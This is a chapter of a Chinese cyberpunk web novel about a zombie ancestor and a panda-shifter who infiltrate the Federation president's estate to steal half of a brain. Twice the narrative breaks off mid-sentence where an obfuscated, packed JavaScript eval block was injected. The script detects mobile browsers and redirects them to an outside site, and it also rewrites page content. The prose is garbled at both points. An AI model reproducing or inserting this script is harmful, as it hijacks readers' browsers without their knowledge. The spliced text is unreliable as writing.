简直没眼看……蚩蓠背对熊玄素匆匆将贴身光学迷彩换好。这大只熊猫怕不是把她当傻子了,先不说寒黎的眼睛经过改造,虽然不像专业的夜视镜一般,但也具备一定夜视能力,再说了,熊猫本身也是可以夜视的啊。 两人换好夜行光学迷彩之后,熊玄素又递给蚩蓠一个可折叠式迷你飞行器、一把高压□□、一副绝缘手套、一个路边捡的脏污塑料袋、一个手持家用吸尘器,全部塞在光学迷彩背包之中。 蚩蓠指着塑料袋和吸尘器问:“这有什么用?” “红,你想用手捧着半边脑袋吗?那东西虽然不会死,但也是很脆弱的好不?duangduang的,要是一个没拿稳不小心摔在地上,还得用吸尘器吸,不如用塑料袋装。” 蚩蓠扶额:“……您……想得挺周到的,就是……稍微脏了点。” “我可是时刻准备着,就等你了而已。” “等我?”蚩蓠略一思忖,应该是墨玄的庄园有什么跟虫子有关的东西,需要虫师红的能力帮忙。只是她想不通,既然前几日朱康他们从懒人那儿拿走僵尸舒厌的脑子时,应该就发现只有一半了,为什么那个时候不叫红帮忙,反而叫她杀什么仿生人舒厌?不过,她还有一个更不解也更重要的问题。 “黑,你要僵尸舒厌的脑子做什么?” 实际上,蚩蓠并不指望能从熊玄素这里得到答案,可这只熊猫的言行处事总能出乎蚩蓠意料之外。 “当然是解封尸祖蚩蓠啊。”熊玄素满不在乎地说。 “什么?!” “稳重点,”熊玄素拍拍蚩蓠肩膀,“一晚上的,大惊小怪好几次了。” 蚩蓠吞了口唾沫,这可太意外了,她之前从不认识什么僵尸熊猫,莫非,是当年无意中做了什么好事,可是自己这个大善人给忘了? 她一反之前的酷姐姿态,冲熊玄素柔和地眨眨眼:“内个,尸祖她救过你?” 熊玄素一扬手:“才没有,从她变成僵尸到被封印,我从没见过她。” 蚩蓠的笑容突然就僵尬住了:“哦~” “别问这么多,我不会再告诉你了。”熊玄素摆出一副大boss的表情,可这表情没有维持三秒钟,立马猥琐起来:“要不,红,你从了我,我就告诉你。” “走吧,待会儿天亮了,人造天亮也是天亮。”蚩蓠恢复了之前的拽样。 “切!你现在跟我还不熟,不懂我的好,要不然也不会看上那个小白脸。” 印象中,仿生人舒厌似乎比僵尸舒厌的皮肤黑一些,但在一众糙汉和酷姐组成的猎尸队中,的确冠得上“小白脸”的美称。 芯片在蚩蓠手心睡了许久,原本冰冷的金属也被捂出了些许温热。她将芯片小心翼翼地塞在内衣里,那里,离心脏很近。 不知道解封本体之后,自己原本那具没有心跳的冰冷尸身,还能否捂热这份冷意? “上来吧。”熊玄素的脸上长出不少白毛,只剩眼周一圈黑乎乎的。她只有一个头浮在空中,其余部分都被光学迷彩覆盖。 她示意蚩蓠骑在背上,为了躲避监控,她似乎打算依靠四肢跑到墨玄的宅邸。 半熊猫化的熊玄素瞬间可爱了不少,蚩蓠没有犹豫,骑|跨到对方宽厚的背上。 两人将帽兜覆盖住头面部,光学迷彩可以透光,不影响呼吸,除了空气中被极速奔驰而搅动的风涌,什么也捕捉不到。 一只成年熊猫的速度可达40-50公里每小时,可熊玄素岂非一般的熊猫,只花了不到半小时,就完成了F区到中心城区200公里的跨越(注1)。 墨玄的庄园坐落在市政中心的后花园附近,守卫极其森严,排布比F区的路灯还密,镂花围墙外,几乎每五米就有一名全副武装的战士瞪大了眼直视前方,在他们后方,悬挂着一盏360度无死角监控摄像头,不知道的还以为这是专门用来监督守卫有没有打哈欠的。 熊玄素的肉垫行走在青砖和大理石混合铺就的地面,形成无形的消音器。 两人躲在花丛后,熊玄素低声道:“那些监控摄像头只能检测画面和热成像,音频捕捉差了点,我们声音低点说话就行,不要用智脑交流,对了,你关智脑定位了吧?” “现在才提醒是不是有点晚?”蚩蓠扬手想去设置智脑,却发现智脑屏幕早就碎成稀巴烂了。 熊玄素见蚩蓠不说话,得意道:“嘿嘿,扔给你芯片的时候顺便弄坏的,现在才发现?” 蚩蓠干巴巴地应了声:“对啊,boss。” 花丛中,一只熟睡的蜜蜂被蚩蓠弄醒,晕乎乎地飞向离得最近的一名守卫。那蜜蜂明明已经离守卫的脸很近了,守卫却熟视无睹。 “薄唇的男人铁血无情,咬他嘴。”熊玄素在蚩蓠身侧嘀咕。 领导的命令不敢不从,更何况还是如此“重要”且情真意切的命令。 蜜蜂在蚩蓠的指挥下,强行拐了个弯,从守卫的眼睛前方硬是飞到了那几乎抿成一条直线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836495|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的嘴唇上,可不想,那守卫突然一张嘴,轻轻喷出一口火焰,替两人探路的蜜蜂就此无辜牺牲。 只有僵尸才具备异能,但这些守卫显然经过义体改造,被蜜蜂骚扰的这名守卫应该替换了喉管,吃炙烤料理的时候很是方便。 “你不觉得我们这么做很打草惊蛇吗?”蚩蓠微笑着看向旁边的一团空气。 “好像是的咧,我们再换个地方吧。” 熊玄素背着蚩蓠绕弯,跑向另一侧,反正没有一个排布不那么紧密的围墙,随便找个闯进去得了。 “围墙和围墙之上一百米高都有高压电,坐飞行器太麻烦,再检查一下光学迷彩有没有穿好,不能露出一点缝隙,我直接背着你跳进去。” “你这光学迷彩有点全能啊。” “不然呢,我可是技术派,当康基因的首席技术官呢。” 蚩蓠摇摇头,这人,哦不,这熊猫还真是一夸就上头。 两人重又检查了一遍光学迷彩,包括蚩蓠身后的两个大背包。是的,领导的包,当然得由她这个下属来背了。 确定无误后,不需要熊玄素提醒,蚩蓠一把骑上她的后背。 骑在领导头上的感觉,真好。 熊玄素一个箭步猛扑,从花丛跃出五米开外,再一个跳跃,三米高的镂空花墙已经在身下了。蚩蓠紧紧抓住她后背光学迷彩底下的皮毛,欣赏临近左右两个守卫的表情。 他们显然感受到一阵厉风刮过,但是什么都没看见,也不听监控警报响起,只当是突如其来的天气变化。 其中一个守卫没忍住打了个喷嚏,被隔壁的守卫瞪了一眼。 熊玄素轻盈落地时,蚩蓠忍不住低声问:“你真的是熊猫,不是老虎?” “嘘——接下来按我的指示做。” 两人穿过一条长长的薰衣草花园,来到一座城堡般的连体别墅旁,别墅分为三大部分,形成一个品字形结构,左右两侧稍小稍矮,看起来像是仆从居住的地方,中间的主体气势磅礴,透过高大的落地窗,能看到一整面书柜,旁边还有一个华丽精致的壁炉。 “太装X了,”熊玄素愤愤不平道,“凌晨四点多就起床工作,不是要累死仆从嘛!而且这老家伙要什么壁炉,又用不着。” 蚩蓠无语大了,是谁一晚上不让人睡觉,又是要杀蟑螂,又是要约会,又是来偷东西的。 她刚刚翻完的白眼,却在看到所谓的墨玄时再次瞪大。 偏偏,墨玄走到窗边时恰好朝蚩蓠这边投来一道目光,那样子竟显出了几分忧伤。 他的嘴唇很薄,是蚩蓠在封印之前就吐槽过的。说他是蚩蓠和夜璃最活跃的那几年里,最强大的敌人也不为过,甚至,沈嘲天就是在他的支配下,将夜璃封印的。 他还有一个名字——玄谟大师,是猎人氏族的族长,是第一代猎人,也是沈嘲天和僵尸舒厌的师傅。 蚩蓠被封印、心脏逐渐石化的过程中,当着僵尸舒厌的面,玄谟大师假意检查她是否被封印成功,实则在她耳边挑衅:“猜猜,你跟夜璃死的那天,沈嘲天遇到的道士是谁?” 47.基因手术刀② 和玄谟打交道的次数不多,但给蚩蓠的印象都不太好。 第一次是玄谟举着大旗,组建猎人氏族,前来僵尸的聚集地血巢义正词严地讨伐她们两姐妹。 第二次则是夜璃杀死了大批猎人,还抓走了刚刚成年的舒厌,舒厌作为玄谟最得意的大弟子,怎么可能放任他在血巢受尽欺凌,正是那次,玄谟一张薄唇上下翻飞,戳中了夜璃的痛楚,致使两姐妹第一次出现罅隙。 第三次也就是蚩蓠遭封印时,他莫名其妙自曝正是他指导沈嘲天将两姐妹炼化为僵尸始祖。 此时的玄谟,也就是联邦总统墨玄双手负立,不夜穹窿常年湿热,墨玄却穿着一身及膝的皮质大衣,脖颈处亦覆盖得严严实实,可他手中却端着一杯冷饮,杯壁还挂着冷气滑落的水痕。 熊玄素显然非常讨厌墨玄,再次不满地从鼻子里吐出一口浊气:“老逼登,真碍事。” 尽管对墨玄能活上千年而容貌不变感到奇怪,但蚩蓠没打算问熊玄素这种会暴露身份的问题,她更关心僵尸舒厌那剩下半个脑袋的下落:“黑,我们现在要去哪里?” 许是因为看到讨厌的人又干不掉,熊玄素语气不太好:“就是书房,那一大堆书架后面有个密室,脑子就藏在里头。我上次五点偷偷来这里探路,这老逼登就起床溜达了,现在才凌晨四点,我们还是来晚了,真他爹的气人。” “上次都探到密室了,你为什么不直接偷走脑子?” “因为……因为……”熊玄素突然开始支支吾吾。 “被发现了?” “算是吧~”熊玄素扭扭捏捏,毛茸茸的短尾突然翘起,在蚩蓠背后挠了一下,见蚩蓠像个门板一样无动于衷,她又挠了挠,还是没反应,终于死心了:“我的究极武器居然都不能让你宠溺我三分,看来我们俩真的无缘。唉,那……我就告诉你好了。当时我的确偷偷跟着墨玄溜进去了,但是……那天也不知道吃了什么东西,一个没忍住,嘣了个屁。” 蚩蓠:“……” 那什么,更加不想当你的女人了。 “我发明的这光学迷彩可以屏蔽身形和热量,也可以降低声音,但是没法隐藏气味,待会儿进去了,你要是想放屁,一定得夹紧了。实在不行,现在先放。” 蚩蓠扶额微笑,虽然没人看得见。 “我不会放屁的。” “是吗?”熊玄素很认真地问,“我以为动物都会放屁的。” 蚩蓠莫名想起在韩青办公室里空气突然凝滞的画面,再次微笑道:“说了不会就不会。” 至少本体不会。至少今天不会。 气可以从上面出,但不能从下面排。这是她作为尸祖为数不多的底线之一。 此时恰好有一名花匠模样的人侧门走出,熊玄素背起蚩蓠,从花匠身边擦身而过,走进一间接待室。从外头的布局来看,书房应该就在接待室隔壁的隔壁。 两人一晃身便走进了内室的走廊,明明天还没亮,铺满高级兽皮的地毯上已经站满了一排仆从,不过大部分人的职责似乎都是端盘子送水插花,这些仆从相当讲究且细心地错落站位,绝不让自己的身形挡住走道两侧一尘不染的挂画。 精致的画框内全部都是同一个女人的肖像画,蚩蓠并不认识这个女人,但熊玄素应该认识。她此刻正在蚩蓠身下气得发抖,这里不方便说话,但她还是扬起尖利的熊爪,在空中比了个大大的叉。 短暂的停留中,蚩蓠还是捕捉到了一丝违和,这十几幅画中,虽然场景、服饰、色彩、氛围各不相同,但画中的女人全都是沉睡的姿态,即便骑马射箭这样飒爽英姿的动作,她也是闭着眼睛的。 似乎画师在作画时被禁锢了想象力,又或者,要求画师作画的这个人,不允许画师自行想象女人睁眼时的模样。 这个女人到底是一直处于沉睡的状态,还是被期望永远闭着眼,蚩蓠暂时不可得之。 走廊的尽头是一扇宽大的双开门,但与周围相对复古的装修风格有点不贴合,金属的冷硬质感过多。离这扇门越近,仆从越少。 熊玄素将声音压得极低:“这书房看起来在一楼,实际上在负三楼,那个落地玻璃相当于一整面摄像装置,能让书房里头的人看见外面,也能让外面的人看到里面。这扇门后并不是书房,而是一部垂直电梯。我们得等等,你先把飞行器准备好,我们等人来,待会儿趁机坐电梯下去。” 这一等就是半小时,熊玄素体型过于庞大,走廊虽宽,但以防绊倒顺路走过的仆从,她还是变回了人类的模样。 只是蚩蓠并没有想到,等来的人居然是仇怜央。 管家领他来到电梯门口,仇怜央驾轻就熟地抬脸扫描验证,熊玄素抱着蚩蓠,两人半蹲在飞行器上,在电梯门还未完全关闭之前挤了进去。 电梯不算宽敞,那仇怜央对着全身镜整理仪容,摸摸大油头也就算了,还时不时左转转身,再右转转身,欣赏侧面和背面。 飞行器不愧是熊玄素研发的高级智能产品,薄薄一片载了超150公斤的两个人不说,悬停稳定,能检测参照物速率保持静止,自动识别攻击物,自适应闪避,在仇怜央一秒转圈三次的情况下,左躲右避,上下平移,稳如老狗。 蚩蓠不由得流了一滴汗,但主要还是因为熊玄素抱得太紧,热爆了。 这一滴汗很快被光学迷彩吸收,按照熊玄素刚才在等待时给她普及的,哪怕只有一根头发的载重不对,这电梯也能检测出来,所以不能直接踩在电梯里,必须使用飞行器。 艰难的几秒钟过去,“滴”地一声,负三楼到了。 电梯门一开,仇怜央清了清嗓子,扯出一个巨大谦卑的笑容。负三楼的接待知道这笑容不是给他看的,依旧保持着端庄平淡的笑容,引着仇怜央走向书房。 书房的门没关,但仇怜央仍慎重地敲了敲门。 “进来。”墨玄浑厚有力的声音传来,他依旧立在窗边,欣赏着屏幕外的花园。 “总统先生,”仇怜央并没有在意墨玄连头都没回,他快步走到墨玄身侧,试探性地问,“您叫我来,是想问舒厌的事情吗?” “嗯?”墨玄皱了皱眉。 “哦不,属下知错,属下不应妄自揣测,请问,总统先生,您有什么吩咐呢?”仇怜央的头埋得更低了。 在得知了寒黎和仇怜央的过往之后,再看仇怜央,蚩蓠的态度已截然不同。如果说之前仅仅只是天真地将其当作一个老练的政客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845315|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、宠溺母亲的儿子,那么现在,蚩蓠更愿意将他视为仇敌,不是自己的仇敌,而是剥夺了优秀女性梦想的仇敌。 墨玄终于转过身来。 跟隔着屏幕看不同,细看之下,若说这一千多年没有变化,并非准确。他的皮肤看似光滑,甚至经由化妆师上了粉底,却依旧难掩苍白粉质下的老年斑。 尤其是那双深深凹陷皱缩的眼睛,噙着老年人特有的水汪汪。 他皮笑肉不笑道:“你这怎么能叫妄自揣测呢,你总是很懂我的。仇怜央,我叫你来,的确是想要问你们那个猎尸队假舒厌的事情。我听说,他死了?” “啊,是这样,根据韩青的描述,舒厌当场就被撕成了碎片。但是您也知道,他只是一个仿生人,芯片有没有被毁坏,我们已经加大人手探查,预计很快就会有结果。” “是谁干的?已经有线索的吗?” 仇怜央稍微抬起头来,用精明的小眼向上瞅着墨玄,下巴依旧向后微缩,那样子简直比当年蚩蓠的最狗腿的属下还要狗腿得多:“有的,有的,跟那几家巨头基因公司有关,如果韩青的线索没有错,极有可能是当康基因搞的鬼。包括用克隆人渗透联邦的行动,安全局也有消息了,八成也是他们干的。” “当康。”墨玄重复道,“他们的老板我知道,是一头叫朱康的猪吧。一头猪,居然也敢跟联邦叫嚣。” 听到这话,蚩蓠突然被熊玄素一掐,差点没疼得叫出声。两人站得离窗户稍远,但要是搞出点什么动静,墨玄他们也不是聋子,肯定听得清清楚楚。 蚩蓠不由瞪了空气一眼,可熊玄素根本看不见自己,只得拿起一根手指贴近她的手,写了个“不”字。 那意思是,告诉我你真实身份的人,不是墨玄。 熊玄素见手心写字是个好主意,似乎有许多话想要说,忙拽起蚩蓠的手开始鬼画符,可她这个首席研发的字迹实在可以跟主任医师一较高下,划拉了半天蚩蓠也不知道她想要说什么。 墨玄又问:“还有,舒厌另一半脑子的事情,你查得怎么样了?” 仇怜央似乎被戳到了痛处,支支吾吾道:“那个,总统先生,是这样,我们真的有在尽力查了,您肯定知道,会偷走另一半脑子的人,准跟舒厌脱离不了关系,我就想啊,他说不定也会关注假舒厌,想从假舒厌这里得到我们这半边脑子的消息,所以我甚至将我的母亲都派到了那个假舒厌身边,时时刻刻监督他啊……” “怜央啊,”墨玄突然打断道,“挑重点说吧。” 见墨玄居然用昵称称呼自己,仇怜央瞬间脸色绯红,忙道:“诶,好的好的。就在前几天,假舒厌的智能管家,一个老旧的机器人突然不见了,我们这才知道,舒无悔还活着,总统先生,舒无悔这么多年居然将自己扮演成了一个机器人!甚至,当初用我们这边剩下的半个脑子制作的假舒厌芯片,那个制作商其实也是他!我们都被骗了啊!” 墨玄的脸色已然阴沉似墨,喝道:“这么重要的消息,为什么现在才告诉我?!” 他伸出一只细长枯瘦的手掌抓住仇怜央肥厚的脖颈,怒意满满:“既然舒无悔接触过我们手中的半边脑子,你说,我们手里的还是不是原来那个?!”